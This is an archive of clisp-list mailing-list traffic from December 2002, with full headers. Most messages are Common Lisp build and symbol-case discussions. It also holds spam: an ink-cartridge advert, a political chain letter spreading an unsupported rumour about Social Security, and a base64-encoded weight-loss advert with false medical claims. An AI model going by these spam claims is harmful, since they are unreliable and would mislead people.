writes: > > makemake --with-noreadline > Makefile wrong argument. try --with-no-readline --with-readline=no --with-readline=off --without-readline -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux I haven't lost my mind -- it's backed up on tape somewhere. From russell_mcmanus@yahoo.com Fri Dec 20 18:06:36 2002 Received: from bgp485821bgs.summit01.nj.comcast.net ([68.37.179.230] helo=thelonious.dyndns.org) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 18PZ0f-0007E8-00 for ; Fri, 20 Dec 2002 18:05:06 -0800 Received: (from russe@localhost) by thelonious.dyndns.org (8.11.6/8.11.6) id gBL26OA27064; Fri, 20 Dec 2002 21:06:24 -0500 (EST) X-Authentication-Warning: thelonious.dyndns.org: russe set sender to russell_mcmanus@yahoo.com using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] compilation issues on NetBSD-1.6 macppc References: <87wum47bzr.fsf@thelonious.dyndns.org> <87of7g73d4.fsf@thelonious.dyndns.org> From: Russell McManus In-Reply-To: Message-ID: <871y4cyvl9.fsf@thelonious.dyndns.org> Lines: 23 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Dec 20 18:07:02 2002 X-Original-Date: 20 Dec 2002 21:06:10 -0500 Sam Steingold writes: > > * In message <87of7g73d4.fsf@thelonious.dyndns.org> > > * On the subject of "Re: [clisp-list] compilation issues on NetBSD-1.6 macppc" > > * Sent on 20 Dec 2002 17:05:43 -0500 > > * Honorable Russell McManus writes: > > > > makemake --with-noreadline > Makefile > > wrong argument. try > --with-no-readline > --with-readline=no > --with-readline=off > --without-readline I will try with one of the above. I see the following line in makemake, which sent me astray: --with-noreadline do not use readline library (even when present) This is probably a documentation bug. -russ From russell_mcmanus@yahoo.com Fri Dec 20 18:58:42 2002 Received: from bgp485821bgs.summit01.nj.comcast.net ([68.37.179.230] helo=thelonious.dyndns.org) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 18PZpA-0005yG-00 for ; Fri, 20 Dec 2002 18:57:12 -0800 Received: (from russe@localhost) by thelonious.dyndns.org (8.11.6/8.11.6) id gBL2wUI00863; Fri, 20 Dec 2002 21:58:30 -0500 (EST) X-Authentication-Warning: thelonious.dyndns.org: russe set sender to russell_mcmanus@yahoo.com using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] compilation issues on NetBSD-1.6 macppc References: <87wum47bzr.fsf@thelonious.dyndns.org> <87of7g73d4.fsf@thelonious.dyndns.org> <871y4cyvl9.fsf@thelonious.dyndns.org> From: Russell McManus In-Reply-To: <871y4cyvl9.fsf@thelonious.dyndns.org> Message-ID: <87vg1oxelm.fsf@thelonious.dyndns.org> Lines: 49 User-Agent: Gnus/5.0808 (Gnus v5.8.8) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Dec 20 19:15:11 2002 X-Original-Date: 20 Dec 2002 21:58:29 -0500 Thanks for the pointer about --with-readline=no. After applying the patches[1], and supplying --with-readline=no, I was able to get clisp-2.30 to compile. Thanks for the help. Let me know if any help is required to apply the patches. -russ [1] The patch to lispbibl.d had to be applied by hand because the file has change a bit since 2.27. Russell McManus writes: > Sam Steingold writes: > > > > * In message <87of7g73d4.fsf@thelonious.dyndns.org> > > > * On the subject of "Re: [clisp-list] compilation issues on NetBSD-1.6 macppc" > > > * Sent on 20 Dec 2002 17:05:43 -0500 > > > * Honorable Russell McManus writes: > > > > > > makemake --with-noreadline > Makefile > > > > wrong argument. try > > --with-no-readline > > --with-readline=no > > --with-readline=off > > --without-readline > > I will try with one of the above. I see the following line in > makemake, which sent me astray: > > --with-noreadline do not use readline library (even when present) > > This is probably a documentation bug. > > -russ > > > ------------------------------------------------------- > This SF.NET email is sponsored by: The Best Geek Holiday Gifts! > Time is running out! Thinkgeek.com has the coolest gifts for > your favorite geek. Let your fingers do the typing. Visit Now. > T H I N K G E E K . C O M http://www.thinkgeek.com/sf/ > _______________________________________________ > clisp-list mailing list > clisp-list@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/clisp-list From lisp-clisp-list@m.gmane.org Sat Dec 21 08:55:06 2002 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Pmu0-0005il-00 for ; Sat, 21 Dec 2002 08:55:04 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18Pmsh-0007VJ-00 for ; Sat, 21 Dec 2002 17:53:43 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 18Pmrp-0007Sl-00 for ; Sat, 21 Dec 2002 17:52:49 +0100 Path: not-for-mail From: Sam Steingold Organization: disorganization Lines: 20 Message-ID: References: <87wum47bzr.fsf@thelonious.dyndns.org> <87of7g73d4.fsf@thelonious.dyndns.org> <871y4cyvl9.fsf@thelonious.dyndns.org> <87vg1oxelm.fsf@thelonious.dyndns.org> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@main.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: compilation issues on NetBSD-1.6 macppc Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Dec 21 08:56:01 2002 X-Original-Date: 21 Dec 2002 11:55:49 -0500 > * In message <87vg1oxelm.fsf@thelonious.dyndns.org> > * On the subject of "Re: compilation issues on NetBSD-1.6 macppc" > * Sent on 20 Dec 2002 21:58:29 -0500 > * Honorable Russell McManus writes: > > Thanks for the pointer about --with-readline=no. --with-noreadline should now work too. please try the CVS head. > [1] The patch to lispbibl.d had to be applied by hand because the file > has change a bit since 2.27. I made a change to lispbibl.d which made the patch unnecessary -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Who is General Failure and why is he reading my hard disk? From Info@inkjetscentral.com Sat Dec 21 20:35:34 2002 Received: from atl-wan-d-160.atl.dsl.cerfnet.com ([63.242.195.160] helo=66.35.250.206) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Pxpn-0002L5-00 for ; Sat, 21 Dec 2002 20:35:27 -0800 Received: from [215.122.117.81] by 66.35.250.206 with ESMTP id XUXOMO; Sat, 21 Dec 02 23:22:59 +0400 Received: from [43.52.39.243] by 215.122.117.81 with ESMTP id DWIOKT; Sat, 21 Dec 02 23:16:59 +0400 From: "Eli Mcallister" Message-ID: To: clisp-list@lists.sourceforge.net X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2462.0000 MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=ZDQIPDQSDVNPKJIEEUYG Subject: [clisp-list] Bargian Savings On Inkjet Cartridges IXDIgIDidfHrIGYuNFf Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Dec 21 20:36:04 2002 X-Original-Date: Sat, 21 Dec 02 23:16:59 GMT This is a multi-part message in MIME format. --ZDQIPDQSDVNPKJIEEUYG Content-Type: text/html Content-Transfer-Encoding: 7Bit MSN Home
 

Have you replaced your ink cartridge lately?

If you have, you know IT AIN'T CHEAP.
How can something so LITTLE cost SO MUCH?!?

DON'T let retail stores take you for a ride. Get the printer products you need at FAIR and REASONABLE prices.

How reasonable?

  • $6.95 compared to $22.99
  • $7.95 compared to $25.35
  • $9.95 compared to $28.99

And there are NAME BRAND products.
HP, Canon, Epson, Compaq. Names you know and products you trust. But you don't have to sacrifice CASH for QUALITY!

Compare prices side by side and the savings are OBVIOUS.
You save up to 75%!

Click here to find MORE deals just like these!

www.inkjetscentral.com

 


You received this email because you signed up at one of E&R Media partner websites or you signed up with a party that has contracted with E&R Media. To unsubscribe from this list click here

 




**************************************************************
Scanned by eScan Content-Security and Anti-Virus Software.
Visit http://www.mwti.net for more info on eScan and MailScan.
**************************************************************

--ZDQIPDQSDVNPKJIEEUYG-- From qi__remove-address-at-bottom@yahoo.com Sat Dec 21 20:35:43 2002 Received: from [218.76.246.4] (helo=218.76.246.4) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Pxq0-0002N7-00 for ; Sat, 21 Dec 2002 20:35:43 -0800 From: bhd_Jay's-Pissed-Off-Rabble-Rouse-Line To: clisp-list@lists.sourceforge.net Cc: Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" X-Mailer: Microsoft Outlook Build 10.0.2627 X-Priority: 1 Message-Id: Subject: [clisp-list] Our Soc.Sec. with Bush UNDER HUGE RISK!!!!!!?????? adv ddjap Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Dec 21 20:36:04 2002 X-Original-Date: Sat, 21 Dec 2002 20:34:08 -0800 Jay's Pissed-Off-Rabble-Rouse-Line SUBJ: Our Soc.Sec. with Bush UNDER HUGE RISK!!!!!!?????? Dec 22nd, 2002, Sun. ------------------------------------------------------------------------------------------------------------------------------------------------------------ I just heard on the radio this Sat. morn that Pres. Bush wants to divert good chunks of OUR Soc.-Sec funds to aliens' MEXICAN poor relatives as some deal with Pres.Fox!!!!!! This would be the biggest Baby-Boomer Class-Action against the Fed-Gov if Bush fouls this up! Soc.-Sec. is ALREADY under unknowns and doubts for us retiring in 9 years or more (like me!); THIS ACTION BY BUSH IS BY NO MEANS CONFRONTING AND HANDLING THE PROBLEM & IMPROVING SOC.-SEC!!!! WE NEED TO HAVE THIS HUGELY FACED-OFF AT THE WHITE HOUSE (DEMONSTRATION?) AND WARN BUSH THAT THIS WOULD BE THE HUGEST CLASS-ACTION AGAINST THE FED-GOV IN HISTORY IF THIS GARGANTUAN PISS-OFF MESSES THINGS UP!!!! Pass this on to you Gov Reps, aarp.com and your Friends & Family so we can all get into an uproar!!!!! Truly, Jay REMOVES click-here: mailto:batch1@btamail.net.cn?subject=REMOVE-me-from-Rabble-Rouse-Line ----------- uywmriukqpjatuyfghoyfkv From ngps@netmemetic.com Sun Dec 22 00:53:54 2002 Received: from bb-203-125-44-164.singnet.com.sg ([203.125.44.164] helo=vista.netmemetic.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Q1rt-0001ev-00 for ; Sun, 22 Dec 2002 00:53:53 -0800 Received: by vista.netmemetic.com (Postfix, from userid 100) id F19615BE; Sat, 21 Dec 2002 11:21:45 +0800 (SGT) From: Ng Pheng Siong To: Sam Steingold Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Script cannot find package Message-ID: <20021221032145.GA809@vista.netmemetic.com> References: <20021220034540.GB619@vista.netmemetic.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Dec 22 00:54:06 2002 X-Original-Date: Sat, 21 Dec 2002 11:21:45 +0800 On Fri, Dec 20, 2002 at 09:35:52AM -0500, Sam Steingold wrote: > > scripts do not load RC. > dump your image or load LML from your scripts explicitly. Thank you. Cheers. -- Ng Pheng Siong * http://www.netmemetic.com From sarahfp023@usa.com Mon Dec 23 05:34:44 2002 Received: from [218.104.99.235] (helo=usa.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18QSjC-0006Ix-00; Mon, 23 Dec 2002 05:34:43 -0800 Received: from [25.26.51.12] by web.mail.halfeye.com with QMQP; 23 Dec 2002 04:34:18 +0900 Reply-To: "sarah" Message-ID: <037b43e26a2a$2844e6c5$5dd64db5@rewogh> From: "sarah" To: Cc: MiME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_00C3_38D05A8D.E3044C58" X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.50.4522.1200 Importance: Normal Subject: [clisp-list] S.a.f.e, Natural, Significant W.e.i.g.h.t L.o.s.s 6062FB-6 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 23 05:35:02 2002 X-Original-Date: Mon, 23 Dec 2002 21:07:16 -0800 ------=_NextPart_000_00C3_38D05A8D.E3044C58 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: base64 KiBSZWR1Y2UgdGhlIGFtb3VudCBvZiBzbGVlcCB5b3UgbmVlZA0KKiBDYXVz ZSB3b3VuZHMgdG8gaGVhbCBmYXN0ZXINCiogTG9zZSB3ZWlnaHQgd2hpbGUg eW91ciBzbGVlcGluZw0KKiBCZWNvbWUgbGVzcyB3aW5kZWQgd2hlbiBleGNl cnNpemluZw0KKiBQdXQgY29sb3IgYmFjayBpbiBncmV5IGhhaXINCiogR3Jv dyBoYWlyIGJhY2sgd2hlcmUgaXQgaGFkIG9uY2UgZmFsbGVuIG91dA0KKiBU aWdodGVuIHNraW4NCiogU3RyZW5ndGhlbiBib25lcw0KKiBCb2R5IGJ1aWxk ZXJzIC0gdXNlIHRoaXMgdG8gYnVpbGQgeW91ciBtdXNjbGVzIHF1aWNrZXIN Ci4uLi4uLi4uLi5UaGUgTGlzdCB0cnVseSBnb2VzIG9uIGFuZCBvbi4uLi4u Li4uLi4NCg0KQXMgc2VlbiBvbiBOQkMsIENCUywgQ05OLCBhbmQgT3ByYWgh IFRoZSBoZWFsdGggZGlzY292ZXJ5IA0KdGhhdCBhY3R1YWxseSByZXZlcnNl cyBhZ2luZyBzeW1wdG9tcyB3aXRob3V0IGRpZXRpbmcgb3IgZXhlcmNpc2Uh IA0KVGhpcyBQUk9WRU4gRkRBIGFwcHJvdmVkIGRpc2NvdmVyeSBoYXMgYmVl biByZXBvcnRlZCBvbiBieSB0aGUgDQpOZXcgRW5nbGFuZCBKb3VybmFsIG9m IE1lZGljaW5lIC0gZG9uJ3QganVzdCB0YWtlIG91ciB3b3JkIGZvciBpdC4N Cg0KSW4gZmFjdCB3ZSdkIGxpa2UgeW91IHRvIHJlY2VpdmUgYSBGUkVFIDMw IGRheSBzdXBwbHk7IGxvb2sgYW5kIGZlZWwgDQp5b3VuZ2VyLCBsb3NlIHdl aWdodCwgcmVkdWNlIHNsZWVwLCBUaGUgbGlzdCBnb2VzIG9uLCB3ZSANCmVu Y291cmFnZSB5b3UgdG8gYXQgbGVhc3QgdGFrZSBhIGxvb2sgYXQgdGhlIGlu Zm9ybWF0aW9uIGFzIHRvDQp3aGF0IGVsc2UgaXQgY2FuIGRvDQoNCmh0dHA6 Ly9oZ3NkZjY4ZHNmLnRyaXBvZC5jb20uYnINCg0KQU9MIFVzZXJzIGNsaWNr DQo8QSBIUkVGPSJodHRwOi8vaGdzZGY2OGRzZi50cmlwb2QuY29tLmJyIj4g SEVSRTwvQT4NCg0KNDI5bDM= From pascal@thalassa.informatimago.com Mon Dec 23 12:29:42 2002 Received: from thalassa.informatimago.com ([212.87.205.57] ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18QZCj-0003l0-00 for ; Mon, 23 Dec 2002 12:29:38 -0800 Received: by thalassa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 1000) id 5DC1A25CD3; Mon, 23 Dec 2002 21:29:29 +0100 (CET) From: Pascal Bourguignon To: clisp-list@lists.sourceforge.net Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Reply-To: Message-Id: <20021223202929.5DC1A25CD3@thalassa.informatimago.com> Subject: [clisp-list] symbol cases Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 23 12:30:04 2002 X-Original-Date: Mon, 23 Dec 2002 21:29:29 +0100 (CET) Did I miss something? With the default behavior of the reader, all symbols are converted to uppercase, aren't they. When you do (describe (find-package "COMMON-LISP")), you get a list of exported symbols all in upper case, and you can type: (car (Car (cAR (CAR '(((((a b ) c) d) e) f))))) to get (A B). Ok. But (describe (find-package "LINUX")) shows that all the symbols def-call-out'ed are in low case, so up to now, I've been typing LINUX:|access| and so on. But it seems that LINUX:access works too (while LINUX:ACCESS does not. Is that correct? How comes in that case the reader does not uppercase LINUX:access? Isn't that a dirty hack? [15]> (linux:|access| "/tmp" 1) ;; Works as expexted. 0 [16]> (linux:access "/tmp" 1) ;; Works too, surprisingly! 0 [17]> (linux:ACCESS "/tmp" 1) ;; Does not work as expected. *** - READ from # #>: # has no external symbol with name "ACCESS" 1. Break [18]> And finally, shouldn't we lispify the symbols in LINUX and have all of them in upper case? (Personal taste: while I understand that this upper case orientation of LISP comes from its long history, I prefer case sensitivity, for example as implemented in emacs lisp (ie. with standard symbols in lower case) ; too bad standadizers of Common-Lisp choosed historical behavior). -- __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- There is a fault in reality. do not adjust your minds. -- Salman Rushdie From kaz@footprints.net Mon Dec 23 13:04:31 2002 Received: from ashi.footprints.net ([204.239.179.1] ident=mail) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18QZk1-0000Lv-00 for ; Mon, 23 Dec 2002 13:04:01 -0800 Received: from kaz by ashi.FootPrints.net with local (Exim 3.34 #1) id 18QZjV-0008Av-00; Mon, 23 Dec 2002 13:03:29 -0800 From: Kaz Kylheku To: Pascal Bourguignon cc: clisp-list@lists.sourceforge.net In-Reply-To: <20021223202929.5DC1A25CD3@thalassa.informatimago.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: symbol cases Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 23 13:05:03 2002 X-Original-Date: Mon, 23 Dec 2002 13:03:29 -0800 (PST) On Mon, 23 Dec 2002, Pascal Bourguignon wrote: > Date: Mon, 23 Dec 2002 21:29:29 +0100 (CET) > From: Pascal Bourguignon > To: clisp-list@lists.sourceforge.net > Subject: [clisp-list] symbol cases > > > Did I miss something? > > With the default behavior of the reader, all symbols are converted to > uppercase, aren't they. Yes; this is controlled by the readtable-case property of the read-table. > When you do (describe (find-package "COMMON-LISP")), you get a list of > exported symbols all in upper case, and you can type: > (car (Car (cAR (CAR '(((((a b ) c) d) e) f))))) > to get (A B). Ok. > > But (describe (find-package "LINUX")) shows that all the symbols > def-call-out'ed are in low case, so up to now, I've been typing > LINUX:|access| and so on. Yes; that's because the symbols in that package are simply defined that way. It's horribly inconvenient. For that reason, and its nonportability, I don't use that package any longer. > [15]> (linux:|access| "/tmp" 1) ;; Works as expexted. > 0 > [16]> (linux:access "/tmp" 1) ;; Works too, surprisingly! > 0 > [17]> (linux:ACCESS "/tmp" 1) ;; Does not work as expected. > > *** - READ from > # > #>: # has no external symbol with name "ACCESS" Strange. What does (readtable-case *readtable*) say at that point? > And finally, shouldn't we lispify the symbols in LINUX and have all of > them in upper case? It would be far more convenient, indeed. > (Personal taste: while I understand that this upper case orientation > of LISP comes from its long history, I prefer case sensitivity, for > example as implemented in emacs lisp (ie. with standard symbols in > lower case) ; too bad standadizers of Common-Lisp choosed historical > behavior). This is not a matter of personal taste at all. The way Lisp does it is more useful than naive case sensitivity, but more technically correct than case insensitivity. The standardizers did the right thing by keeping the best possible design, which accomodates the useful qualities of both. Lisp symbol names *are* in fact case sensitive, and can be arbitrary strings. This is a necessity, which allows Lisp to interface with arbitrary languages; symbols from another language can be represented directly as Lisp symbols without having to undergo some name translation. If you ever write a compiler in Lisp for some other language, you will be glad. On the other hand, transforming case on input in the reader or output in the formatter is quite useful. One benefit is that in an interactive session, the stuff printed by the machine is all caps. So if you type in all lowercase, you can easily separate the conversation without the need to resort to a different font or color. I have been psychologically conditioned into accepting and preferring the case sensitivity by Unix and C; but I'm not jaded enough to fail to remember that I indeed had problems with it once upon a time. My perspective does not represent the norm. ;) From sds@gnu.org Mon Dec 23 14:42:14 2002 Received: from out004pub.verizon.net ([206.46.170.142] helo=out004.verizon.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18QbH2-0000IR-00 for ; Mon, 23 Dec 2002 14:42:12 -0800 Received: from loiso.podval.org ([151.203.32.163]) by out004.verizon.net (InterMail vM.5.01.05.20 201-253-122-126-120-20021101) with ESMTP id <20021223224206.QSGI1642.out004.verizon.net@loiso.podval.org>; Mon, 23 Dec 2002 16:42:06 -0600 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id gBNMj79O002349; Mon, 23 Dec 2002 17:45:07 -0500 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id gBNMiqYN002343; Mon, 23 Dec 2002 17:44:52 -0500 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] symbol cases References: <20021223202929.5DC1A25CD3@thalassa.informatimago.com> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20021223202929.5DC1A25CD3@thalassa.informatimago.com> Message-ID: Lines: 23 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Authentication-Info: Submitted using SMTP AUTH PLAIN at out004.verizon.net from [151.203.32.163] at Mon, 23 Dec 2002 16:42:05 -0600 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 23 14:44:14 2002 X-Original-Date: 23 Dec 2002 17:44:52 -0500 > * In message <20021223202929.5DC1A25CD3@thalassa.informatimago.com> > * On the subject of "[clisp-list] symbol cases" > * Sent on Mon, 23 Dec 2002 21:29:29 +0100 (CET) > * Honorable Pascal Bourguignon writes: > > Did I miss something? the manual? :-) or maybe the sources? :-) > But (describe (find-package "LINUX")) shows that all the symbols > def-call-out'ed are in low case, so up to now, I've been typing > LINUX:|access| and so on. But it seems that LINUX:access works too > (while LINUX:ACCESS does not. Is that correct? How comes in that case > the reader does not uppercase LINUX:access? Isn't that a dirty hack? "LINUX" is a case-sensitive package. -- Sam Steingold (http://www.podval.org/~sds) running RedHat8 GNU/Linux Sinners can repent, but stupid is forever. From pascal@thalassa.informatimago.com Mon Dec 23 18:12:44 2002 Received: from thalassa.informatimago.com ([212.87.205.57] ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18QeYh-0000fN-00 for ; Mon, 23 Dec 2002 18:12:40 -0800 Received: by thalassa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 1000) id E9C4094E9F; Tue, 24 Dec 2002 03:12:24 +0100 (CET) From: Pascal Bourguignon Message-ID: <15879.49800.902740.462626@thalassa.informatimago.com> Cc: sds@gnu.org To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] symbol cases In-Reply-To: References: <20021223202929.5DC1A25CD3@thalassa.informatimago.com> X-Mailer: VM 7.07 under Emacs 21.2.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Disposition: inline Content-Type: text/plain; charset=iso-8859-1 Content-Language: en Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Dec 23 18:13:03 2002 X-Original-Date: Tue, 24 Dec 2002 03:12:24 +0100 Sam Steingold writes: > Pascal Bourguignon wrote: > > > > Did I miss something? > > the manual? :-) > or maybe the sources? :-) > > > But (describe (find-package "LINUX")) shows that all the symbols > > def-call-out'ed are in low case, so up to now, I've been typing > > LINUX:|access| and so on. But it seems that LINUX:access works too > > (while LINUX:ACCESS does not. Is that correct? How comes in that case > > the reader does not uppercase LINUX:access? Isn't that a dirty hack? > > "LINUX" is a case-sensitive package. That's it. Clearly not a standard feature... Thank you. -- __Pascal_Bourguignon__ http://www.informatimago.com/ ---------------------------------------------------------------------- There is a fault in reality. do not adjust your minds. -- Salman Rushdie From pascal@thalassa.informatimago.com Mon Dec 23 18:41:49 2002 Received: from thalassa.informatimago.com ([212.87.205.57] ident=postfix) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 18Qf0p-0003ev-00 for ; Mon, 23 Dec 2002 18:41:43 -0800 Received: by thalassa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 1000) id 5A0EC2693C; Tue, 24 Dec 2002 03:41:20 +0100 (CET) From: Pascal Bourguignon Message-ID: <15879.51535.944428.986251@thalassa.informatimago.com> To: clisp-list@lists.sourceforge.net Cc: Kaz Kylheku In-Reply-To: References: <20021223202929.5DC1A25CD3@thalassa.informatimago.com> X-Mailer: VM 7.07 under Emacs 21.2.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en Mime-Version: 1.0 